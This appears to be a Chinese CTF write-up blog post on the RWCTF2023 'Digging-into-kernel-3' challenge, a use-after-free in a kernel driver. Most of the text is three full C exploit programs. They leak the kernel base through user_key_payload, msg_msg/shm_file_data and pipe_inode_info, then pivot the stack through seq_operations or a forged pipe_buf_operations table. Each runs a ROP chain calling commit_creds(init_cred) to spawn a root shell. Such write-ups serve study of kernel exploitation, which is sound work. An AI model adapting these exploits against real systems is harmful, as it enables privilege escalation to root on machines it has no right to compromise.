【user_key_payload、msg_msg、pipe_buffer】再探RWCTF2023-Digging-into-kernel-3

news2024/10/5 14:34:52

前言

在之前的文章中，我利用 ldt_struct 去泄漏的内核基地址，但是在内核中还存在着一些结构体可以去泄漏内核基地址。

user_key_payload 越界读泄漏内核基地址

本题并没有开启 slab_freelist_random 保护，并且可以可以同时控制两个堆块，所以可以直接打。

这里采用 user_key_payload 越界读被释放的 user_key_payload 去泄漏内核基地址。当然你也可以选择读其他的，但是这题好像不能打开 /dev/ptmx，然后我看又有这个文件，权限也有，但是不知道为啥就是打不开。

exp 如下：

#ifndef _GNU_SOURCE
#define _GNU_SOURCE
#endif

#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <signal.h>
#include <string.h>
#include <stdint.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/ioctl.h>
#include <sched.h>
#include <linux/keyctl.h>
#include <ctype.h>
#include <pthread.h>
#include <sys/types.h>
#include <linux/userfaultfd.h>
#include <sys/sem.h>
#include <semaphore.h>
#include <poll.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#include <asm/ldt.h>
#include <sys/shm.h>
#include <sys/wait.h>

#define USER_FREE_PAYLOAD_RCU 0xFFFFFFFF813D8210
size_t pop_rdi = 0xffffffff8106ab4d; // pop rdi ; ret
size_t init_cred = 0xffffffff82850580;
size_t commit_creds = 0xffffffff81095c30;
size_t add_rsp_xx = 0xFFFFFFFF812A9811;// FFFFFFFF813A193A;
size_t swapgs_kpti = 0xFFFFFFFF81E00EF3;

struct node {
        int idx;
        int size;
        char* ptr;
};

void err_exit(char *msg)
{
    printf("\033[31m\033[1m[x] Error at: \033[0m%s\n", msg);
    sleep(5);
    exit(EXIT_FAILURE);
}

void info(char *msg)
{
    printf("\033[32m\033[1m[+] %s\n\033[0m", msg);
}

void hexx(char *msg, size_t value)
{
    printf("\033[32m\033[1m[+] %s: %#lx\n\033[0m", msg, value);
}

void binary_dump(char *desc, void *addr, int len) {
    uint64_t *buf64 = (uint64_t *) addr;
    uint8_t *buf8 = (uint8_t *) addr;
    if (desc != NULL) {
        printf("\033[33m[*] %s:\n\033[0m", desc);
    }
    for (int i = 0; i < len / 8; i += 4) {
        printf("  %04x", i * 8);
        for (int j = 0; j < 4; j++) {
            i + j < len / 8 ? printf(" 0x%016lx", buf64[i + j]) : printf("                   ");
        }
        printf("   ");
        for (int j = 0; j < 32 && j + i * 8 < len; j++) {
            printf("%c", isprint(buf8[i * 8 + j]) ? buf8[i * 8 + j] : '.');
        }
        puts("");
    }
}

/* bind the process to specific core */
void bind_core(int core)
{
    cpu_set_t cpu_set;

    CPU_ZERO(&cpu_set);
    CPU_SET(core, &cpu_set);
    sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);

    printf("\033[34m\033[1m[*] Process binded to core \033[0m%d\n", core);
}

int rw_fd;
int seq_fd;
void add(int idx, int size, char* ptr)
{
        struct node n = { .idx = idx, .size = size, .ptr = ptr };
        ioctl(rw_fd, 0xDEADBEEF, &n);
//      if (ioctl(rw_fd, 0xDEADBEEF, &n) < 0) info("Copy error in add function");
}

void dele(int idx)
{
        struct node n = { .idx = idx };
        ioctl(rw_fd, 0xC0DECAFE, &n);
}

int key_alloc(char *description, char *payload, size_t plen)
{
    return syscall(__NR_add_key, "user", description, payload, plen,
                   KEY_SPEC_PROCESS_KEYRING);
}

int key_read(int keyid, char *buffer, size_t buflen)
{
    return syscall(__NR_keyctl, KEYCTL_READ, keyid, buffer, buflen);
}

int key_revoke(int keyid)
{
    return syscall(__NR_keyctl, KEYCTL_REVOKE, keyid, 0, 0, 0);
}

int main(int argc, char** argv, char** env)
{
        bind_core(0);
        int res;
        size_t kernel_offset;
        size_t buf[0x100] = { 0 };

        rw_fd = open("/dev/rwctf", O_RDWR);
        if (rw_fd < 0) err_exit("Failed to open /dev/rwctf");

        // freelist 0x40 : obj0 -> obj1 -> obj2
        add(0, 0x40, buf); // obj0
        add(1, 0x40, buf); // obj1
        // freelist 0x40 : obj2
        dele(1);
        dele(0);

        // freelist 0x40 : obj0 -> obj1 -> obj2
        int k0 = key_alloc("pwner0", buf, 0x40-0x18); // user_key_payload0 : obj1
        int k1 = key_alloc("pwner1", buf, 0x40-0x18); // user_key_payload1 : obj2

        // freelist 0x40 : obj0
        key_revoke(k1);
        // freelist 0x40 : obj2 -> obj0
        dele(1);
        // freelist 0x40 : obj1 -> obj2 -> obj0
        buf[0] = buf[1] = 0;
        buf[2] = 0x100*8;
        add(1, 0x40 , buf);
        // freelist 0x40 : obj2 -> obj0
        res = key_read(k0, buf, 0x100*8);
        kernel_offset = buf[6] - USER_FREE_PAYLOAD_RCU;
        binary_dump("user_key_payload data", buf, 0x100);
        hexx("kernel_offset", kernel_offset);

        puts("Hijack the Program Execution Flow");
        pop_rdi += kernel_offset;
        init_cred += kernel_offset;
        commit_creds += kernel_offset;
        swapgs_kpti += kernel_offset;
        add_rsp_xx += kernel_offset;
        hexx("add_rsp_xx", add_rsp_xx);

        add(0, 0x20, buf);
        dele(0);

        seq_fd = open("/proc/self/stat", O_RDONLY);
        dele(0);
        add(0, 0x20, &add_rsp_xx);

        asm(
        "mov r15, pop_rdi;"
        "mov r14, init_cred;"
        "mov r13, commit_creds;"
        "mov r12, swapgs_kpti;"
        );
        read(seq_fd, buf, 8);
        hexx("UID", getuid());
        system("/bin/sh");

        return 0;
}

msg_msg+shm_file_data 泄漏内核基地址

这里最开始我也是想利用 msg_msg 去泄漏内核基地址的，但是我一直在考虑越界读，而忽略了这里我们是有一个任意大小的 UAF，所以我们可以劫持一个大小为 0x20 的 msg_segment，然后将其分配到 shm_file_data，这样就可以直接读取 init_ipc_ns 了。

这里为什么是 shm_file_data 呢？因为 msg_segment 的第一个字段是 next，而在进行 msgrcv 时，终止读取的条件就是 msg_segment->next 为空，而 shm_file_data 刚好满足这个条件。

这里我也尝试分配到 seq_operations 结构体，但是其第一个字段为 single_start 不为 NULL，导致后面直接 panic。

exp 如下：

#ifndef _GNU_SOURCE
#define _GNU_SOURCE
#endif

#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <signal.h>
#include <string.h>
#include <stdint.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/ioctl.h>
#include <sched.h>
#include <ctype.h>
#include <pthread.h>
#include <sys/types.h>
#include <sys/sem.h>
#include <semaphore.h>
#include <poll.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#include <sys/shm.h>
#include <sys/wait.h>

#define INIT_IPC_NS 0xffffffff829ac6c0
size_t pop_rdi = 0xffffffff8106ab4d; // pop rdi ; ret
size_t init_cred = 0xffffffff82850580;
size_t commit_creds = 0xffffffff81095c30;
size_t add_rsp_xx = 0xFFFFFFFF812A9811;// FFFFFFFF813A193A;
size_t swapgs_kpti = 0xFFFFFFFF81E00EF3;

struct node {
        int idx;
        int size;
        char* ptr;
};

void err_exit(char *msg)
{
    printf("\033[31m\033[1m[x] Error at: \033[0m%s\n", msg);
    sleep(5);
    exit(EXIT_FAILURE);
}

void info(char *msg)
{
    printf("\033[32m\033[1m[+] %s\n\033[0m", msg);
}

void hexx(char *msg, size_t value)
{
    printf("\033[32m\033[1m[+] %s: %#lx\n\033[0m", msg, value);
}

void binary_dump(char *desc, void *addr, int len) {
    uint64_t *buf64 = (uint64_t *) addr;
    uint8_t *buf8 = (uint8_t *) addr;
    if (desc != NULL) {
        printf("\033[33m[*] %s:\n\033[0m", desc);
    }
    for (int i = 0; i < len / 8; i += 4) {
        printf("  %04x", i * 8);
        for (int j = 0; j < 4; j++) {
            i + j < len / 8 ? printf(" 0x%016lx", buf64[i + j]) : printf("                   ");
        }
        printf("   ");
        for (int j = 0; j < 32 && j + i * 8 < len; j++) {
            printf("%c", isprint(buf8[i * 8 + j]) ? buf8[i * 8 + j] : '.');
        }
        puts("");
    }
}

/* bind the process to specific core */
void bind_core(int core)
{
    cpu_set_t cpu_set;

    CPU_ZERO(&cpu_set);
    CPU_SET(core, &cpu_set);
    sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);

    printf("\033[34m\033[1m[*] Process binded to core \033[0m%d\n", core);
}

int rw_fd;
int seq_fd;
void add(int idx, int size, char* ptr)
{
        struct node n = { .idx = idx, .size = size, .ptr = ptr };
        ioctl(rw_fd, 0xDEADBEEF, &n);
//      if (ioctl(rw_fd, 0xDEADBEEF, &n) < 0) info("Copy error in add function");
}

void dele(int idx)
{
        struct node n = { .idx = idx };
        ioctl(rw_fd, 0xC0DECAFE, &n);
}

struct msg_buf {
        long m_type;
        char m_text[1];
};

struct msg_header {
        void* l_next;
        void* l_prev;
        long m_type;
        size_t m_ts;
        void* next;
        void* security;
};

int main(int argc, char** argv, char** env)
{
        bind_core(0);
        int qid;
        int shm_id;
        char* shm_addr;
        size_t kernel_offset;
        size_t buf[0x620] = { 0 };
        struct msg_buf* msg = (struct msg_buf*)buf;

        rw_fd = open("/dev/rwctf", O_RDWR);
        if (rw_fd < 0) err_exit("Failed to open /dev/rwctf");

        add(0, 0x20, buf);
        dele(0);

        qid = msgget(IPC_PRIVATE, 0666|IPC_CREAT);
        msg->m_type = 1;
        memset(msg->m_text, 'A', 0x1020);
        msgsnd(qid, msg, 0x1020-0x30-0x8, 0);

        dele(0);
        if ((shm_id = shmget(IPC_PRIVATE, 0x1000, 0600)) == -1) err_exit("shmget");
        if ((shm_addr = shmat(shm_id, NULL, 0)) == -1) err_exit("shmat");

        msgrcv(qid, buf, 0x1020-0x30-8, 0, IPC_NOWAIT|MSG_NOERROR);

        binary_dump("msg data", (char*)buf+0xfd0, 0x100);
        kernel_offset = *(size_t*)((char*)buf+0xfd8) - INIT_IPC_NS;
        hexx("kernel_offset", kernel_offset);

        puts("Hijack the Program Execution Flow");
        pop_rdi += kernel_offset;
        init_cred += kernel_offset;
        commit_creds += kernel_offset;
        swapgs_kpti += kernel_offset;
        add_rsp_xx += kernel_offset;
        hexx("add_rsp_xx", add_rsp_xx);

        add(0, 0x20, buf);
        dele(0);

        seq_fd = open("/proc/self/stat", O_RDONLY);
        dele(0);
        add(0, 0x20, &add_rsp_xx);

        asm(
        "mov r15, pop_rdi;"
        "mov r14, init_cred;"
        "mov r13, commit_creds;"
        "mov r12, swapgs_kpti;"
        );
        read(seq_fd, buf, 8);
        hexx("UID", getuid());
        system("/bin/sh");

        return 0;
}

pipe_buffer 劫持程序执行流

这里是参考 ctf-wiki 上的做法，并且假设开启了一些保护，比如 SLAB_FREELIST_HARDENED，CONFIG_RANDOMIZE_KSTACK_OFFSET。

这时也是采用 user_key_payload 越界读去泄漏内核基地址。但是我发现虽然 ctf-wiki 上前面是利用的堆喷搞的，但是最后劫持 pipe_buffer 时还是假设的没开相应的保护，所以直接单纯的利用堆喷去拿到 UAF 堆块给 user_key_payload 结构体。

然后的关键点就是，通过 pipe_buffer 劫持程序执行流其实就是伪造其 pipe_buf_operations 函数表，但是题目开启了 smap 保护，所以我们又不能直接将函数表伪造在用户空间，那么我们伪造在那里呢？

所以这里我们需要一个内核空间，要求这块空间可控并且知道其地址。这里我们选择 pipe_buffer。我们可以通过让 pipe_inode_info 与 user_key_payload 占用同一个堆块去泄漏 pipe_buffer 的地址，这里要注意的是 pipe_inode_info 会将 user_key_payload 的 datalen 字段覆盖为 0xffff。

当然这里你也可以用 user_key_payload 越界读去泄漏 pipe_buffer 的地址，只是这里可能需要堆喷一下 pipe_buffer，但是可能会比较难，因为我们还有控制 pipe_buffer，所以这里命中的机会可能不是很高。

这里我用堆喷 user_key_payload 去泄漏内核基地址，发现非常不稳定，但是 ctf-wiki 上的脚本是稳定的。所以这里我就不堆喷了......

 这里我们选择劫持 pipe_buf_operations->release，当我们关闭管道两端时就会调用这个函数。

struct pipe_buf_operations {
	
	int (*confirm)(struct pipe_inode_info *, struct pipe_buffer *);

	
	void (*release)(struct pipe_inode_info *, struct pipe_buffer *);

	bool (*try_steal)(struct pipe_inode_info *, struct pipe_buffer *);

	bool (*get)(struct pipe_inode_info *, struct pipe_buffer *);
};

可以看到执行 release 时，rdi 指向的是 pipe_inode_info，rsi 指向的时 pipe_buffer，这里我们选择将内核栈迁移到 pipe_buffer 上，之所以不迁移到 pipe_inode_info 中是因为其里面保存这 pipe_buffer 指针，且其大小只有 192，所以你写的时候会覆盖 pipe_buffer 指针。

然后这里的 gadget 给我一顿好好，最后直接用 ctf-wiki 上面的，实在没找到......

最后这里直接调用 system("/bin/sh") 会出现段错误，没探究原因，大家可以自己调试一些。我直接使用的 execve 函数去启一个 shell。

exp 如下：

#ifndef _GNU_SOURCE
#define _GNU_SOURCE
#endif

#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <signal.h>
#include <string.h>
#include <stdint.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/ioctl.h>
#include <sched.h>
#include <linux/keyctl.h>
#include <ctype.h>
#include <pthread.h>
#include <sys/types.h>
#include <linux/userfaultfd.h>
#include <sys/sem.h>
#include <semaphore.h>
#include <poll.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#include <asm/ldt.h>
#include <sys/shm.h>
#include <sys/wait.h>

#define USER_FREE_PAYLOAD_RCU 0xFFFFFFFF813D8210
size_t pop_rdi = 0xffffffff8106ab4d; // pop rdi ; ret
size_t init_cred = 0xffffffff82850580;
size_t commit_creds = 0xffffffff81095c30;
size_t swapgs_kpti = 0xFFFFFFFF81E00F01;
size_t push_rsi_pop_rsp_pop_3 = 0xffffffff81250c9d; // PUSH_RSI_POP_RSP_POP_RBX_POP_RBP_POP_R12_RET

struct node {
        int idx;
        int size;
        char* ptr;
};

void err_exit(char *msg)
{
    printf("\033[31m\033[1m[x] Error at: \033[0m%s\n", msg);
    sleep(5);
    exit(EXIT_FAILURE);
}

void info(char *msg)
{
    printf("\033[32m\033[1m[+] %s\n\033[0m", msg);
}

void hexx(char *msg, size_t value)
{
    printf("\033[32m\033[1m[+] %s: %#lx\n\033[0m", msg, value);
}

void binary_dump(char *desc, void *addr, int len) {
    uint64_t *buf64 = (uint64_t *) addr;
    uint8_t *buf8 = (uint8_t *) addr;
    if (desc != NULL) {
        printf("\033[33m[*] %s:\n\033[0m", desc);
    }
    for (int i = 0; i < len / 8; i += 4) {
        printf("  %04x", i * 8);
        for (int j = 0; j < 4; j++) {
            i + j < len / 8 ? printf(" 0x%016lx", buf64[i + j]) : printf("                   ");
        }
        printf("   ");
        for (int j = 0; j < 32 && j + i * 8 < len; j++) {
            printf("%c", isprint(buf8[i * 8 + j]) ? buf8[i * 8 + j] : '.');
        }
        puts("");
    }
}

/* bind the process to specific core */
void bind_core(int core)
{
    cpu_set_t cpu_set;

    CPU_ZERO(&cpu_set);
    CPU_SET(core, &cpu_set);
    sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);

    printf("\033[34m\033[1m[*] Process binded to core \033[0m%d\n", core);
}


void get_root_shell()
{
        hexx("UID", getuid());
//      system("/bin/sh");
        char *args[] = {"/bin/sh", NULL};
        execve("/bin/sh", args, NULL);
}

size_t user_cs, user_rflags, user_rsp, user_ss;
void save_status()
{
        asm(
        "mov user_cs, cs;"
        "mov user_ss, ss;"
        "mov user_rsp, rsp;"
        "pushf;"
        "pop user_rflags;"
        );
        info("Status saved successfully");
}

int rw_fd;
int seq_fd;
void add(int idx, int size, char* ptr)
{
        struct node n = { .idx = idx, .size = size, .ptr = ptr };
        ioctl(rw_fd, 0xDEADBEEF, &n);
//      if (ioctl(rw_fd, 0xDEADBEEF, &n) < 0) info("Copy error in add function");
}

void dele(int idx)
{
        struct node n = { .idx = idx };
        ioctl(rw_fd, 0xC0DECAFE, &n);
}

int key_alloc(char *description, char *payload, size_t plen)
{
    return syscall(__NR_add_key, "user", description, payload, plen,
                   KEY_SPEC_PROCESS_KEYRING);
}

int key_read(int keyid, char *buffer, size_t buflen)
{
    return syscall(__NR_keyctl, KEYCTL_READ, keyid, buffer, buflen);
}

int key_revoke(int keyid)
{
    return syscall(__NR_keyctl, KEYCTL_REVOKE, keyid, 0, 0, 0);
}

int main(int argc, char** argv, char** env)
{
        bind_core(0);
        save_status();

        int key[2];
        int pipe_key;
        int pipe_fd[2];
        char des[100];
        size_t n;
        size_t kernel_offset;
        size_t pipe_buffer;
        size_t* buf;

        rw_fd = open("/dev/rwctf", O_RDWR);
        if (rw_fd < 0) err_exit("Failed to open /dev/rwctf");
        buf = (size_t*)mmap(NULL, 0x1000*16, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);

        add(0, 0x40, buf);
        add(1, 0x40, buf);
        dele(1);
        dele(0);

        key[0] = key_alloc("pwn0", buf, 0x40-0x18);
        key[1] = key_alloc("pwn1", buf, 0x40-0x18);

        dele(1);
        buf[0] = buf[1] = 0;
        buf[2] = 0x100*8;
        add(1, 0x40, buf);

        key_revoke(key[1]);
        key_read(key[0], buf, 0x100*8);
        binary_dump("user_key_payload", buf, 0x100);
        kernel_offset = buf[6] - USER_FREE_PAYLOAD_RCU;
        hexx("kernel_offset", kernel_offset);

        add(0, 192, buf);
        add(1, 192, buf);
        dele(1);
        dele(0);

        pipe_key = key_alloc("pwnerer", buf, 192-0x18);
        if (pipe_key < 0) err_exit("key_alloc pipe_key");

        add(0, 1024, buf);
        dele(0);
        dele(1);

        pipe(pipe_fd);

        n = key_read(pipe_key, buf, 0xffff);
        hexx("key_read len", n);
        binary_dump("pipe_inode_info", buf, 192-0x18);
        pipe_buffer = buf[16];
        hexx("pipe_buffer addr", pipe_buffer);

        size_t rop[] = {
                0,
                0,
                pipe_buffer+0x18,
                pop_rdi+kernel_offset,
                push_rsi_pop_rsp_pop_3+kernel_offset,
                pop_rdi+kernel_offset,
                init_cred+kernel_offset,
                commit_creds+kernel_offset,
                swapgs_kpti+kernel_offset,
                0,
                0,
                get_root_shell,
                user_cs,
                user_rflags,
                user_rsp,
                user_ss
        };
        binary_dump("ROP chain", rop, sizeof(rop));
        memcpy(buf, rop, sizeof(rop));
        dele(0);
        add(0, 1024, buf);

        close(pipe_fd[1]);
        close(pipe_fd[0]);

        return 0;
}

效果如下，三个脚本均可成功提权：

总结

其实 ldt_struct、user_key_payload、msg_msg 是比较常用的实现越界读和任意读的结构体，其中 ldt_struct 大小固定（0x10 slub/0x20 slab），而 user_key_payload 与 msg_msg 的大小是不固定的，但是有固定的头字段。

然后劫持程序执行流主要就是 seq_operations、tty_struct、pipe_buffer等结构体，目前我就主要接触到这三个。

然后用于泄漏内核基地址的结构体主要有 shm_file_data、user_key_payload、seq_operations、tty_struct 等等结构体，目前主要接触到这些。其中 user_key_payload 是得将 key 销毁后，其 rcu.func 会被赋值为 user_free_payload_rcu() 以此来进行泄漏。

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